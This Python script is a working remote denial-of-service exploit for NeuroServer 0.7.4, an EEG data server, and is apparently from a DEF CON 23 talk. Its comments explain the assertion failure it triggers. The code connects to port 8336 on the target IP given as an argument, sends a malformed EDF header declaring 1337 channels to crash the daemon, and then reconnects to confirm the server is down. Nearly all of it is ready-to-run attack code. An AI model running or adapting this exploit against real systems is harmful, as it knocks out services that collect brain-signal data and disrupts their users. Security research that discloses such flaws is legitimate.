#!/usr/bin/env python
#
# NeuroServer 0.7.4 Remote DoS
#
# Shown at DEF CON 23 (BioHacking Village)
# Brain Waves Surfing - (In)Security in EEG (Electroencephalography) Technologies
# Slides: http://goo.gl/44r1HH
#
# NeuroServer is an EEG (Electroencephalography) TCP/IP Transceiver
# http://openeeg.sourceforge.net/doc/sw/NeuroServer/
#
# Neuroserver mediates between the raw EEG devices and all the various EEG 
# applications that the user may wish to run to analyse the incoming EEG data. 
# Data is transmitted using TCP/IP, which means that the EEG data can just as 
# easily pass over a network (or even the internet) as stay on the same machine. 
# Standard EDF is used for header information and for file storage. 
# The server is designed to run on Windows and Linux.
# 
#------------------------------------------------------------------------------
#
# nsd (NeuroServer Daemon) stops if any assertion is triggered inside isValidREDF() at
# ~/NeuroServer-0.7.4/src/openedf.c:
# ...
#         assert(isValidREDF(result));
# ...
# int isValidREDF(const struct EDFDecodedConfig *cfg)
# {
#         int i;
#         if (cfg->hdr.dataRecordSeconds != 1.0) {
#                 setLastError("The data record must be exactly 1 second, not %f.",
#                                                                  cfg->hdr.dataRecordSeconds);
#                 return 0;
#         }
#         if (cfg->hdr.dataRecordChannels < 1) {
#                 setLastError("The data record must have at least one channel.");
#                 return 0;
#         }
#         if (cfg->chan[0].sampleCount < 1) {
#                 setLastError("Channel 0 must have at least one sample.");
#                 return 0;
#         }
#         for (i = 1; i < cfg->hdr.dataRecordChannels; ++i) {
#                 if (cfg->chan[i].sampleCount != cfg->chan[0].sampleCount) {
#                         setLastError("Channel %d has %d samples, but channel 0 has %d.  These must be the same.", cfg->chan[i].sampleCount, cfg->chan[0].sampleCount);
#                         return 0;
#                 }
#         }
#         return 1;
# }
#

import socket
import time
import sys

# Malformed EDF header
# Spec: http://www.edfplus.info/specs/edf.html
EDF  = "0       " # Version
EDF += "Alejandro Hernandez                                                             " # Patient Identification
EDF += "NeuroSky MindWave                                                               " # Recording Identification
EDF += "07.04.1520.55.28768     EDF+C                                       "             # Startdate of Recording
EDF += "29      " # Number of Data Records
EDF += "1       " # Duration of a Data Record in Seconds
EDF += "1337    " # Number of Signals. This value triggers the DoS: assert(cfg->hdr.dataRecordChannels < MAXCHANNELS);
EDF += "Electrode       EDF Annotations                                                                                                                                                                                 "      # Labels and other data per channel
EDF += "-32768  -1      32767   1       -32768  -32768  32767   32767   " # PhysiMin PhysiMax DigiMin DigiMax

if len(sys.argv) != 2:
	print 'Usage: ' + __file__ + ' <NeuroServer IP>'
	sys.exit(1)

print r'''
                           __,--"""""""""--,.
                     _ -\'"                  _\ ^-,_
                  ,-"                     _/        \_
                 ,                    /    \          \
               ,'                    /_    |           \
              /           _____,--"""     /         )   \
             /           /               /         (     |
            |          /                /      )         |
            |         /  NeuroServer 0.7.4 Remote DoS     \
            (     (_/\      )                 /            \
             \        \_          ____,===="""    /        |
              \                /"                /""       |
               \_          _,-" |___,-'--------'"          |
                 "`------""   --"                 ,-'      /
                        /                     ---"        /
                        \___/          __,-----,___       )
                            \     ,--'"============""""-'"
                             "-'" |  |=================/
                                  /___\===============/
                                   /  |=============/"
                                   \   \_________,-"
                                   |   |
                                   |   |
'''

neuroserver = (sys.argv[1], 8336)

s = socket.socket()

print '|- Connecting to %s on port %s\n' % neuroserver
try:
	s.connect(neuroserver)
except Exception, e:
	print '|- Can\'t connect to %s:%d' % neuroserver
	print '|- Exception: %s' % (e)
	sys.exit(1)

print '|- Entering in EEG role. NeuroServers\' response:'
s.send('eeg\n') # EEG role in NeuroServer
print '----------------------------------------------'
print s.recv(16).strip('\n')
print '----------------------------------------------'

print '|- Sending Malformed EDF header (%d bytes):' % len(EDF)
print '----------------------------------------------'
print EDF
print '----------------------------------------------\n'
s.send('setheader ' + EDF + '\n')

time.sleep(4)

print '|- NeuroServer should be dead now. Connecting...\n'
try:
	s = socket.socket()
	s.connect(neuroserver)
except Exception, e:
	print '|- NeuroServer is down !'
	print '|- Exception: %s' % (e)
else:
	print '|- NeuroServer is still alive :-\, try again...'
finally:
	s.close()

sys.exit(0);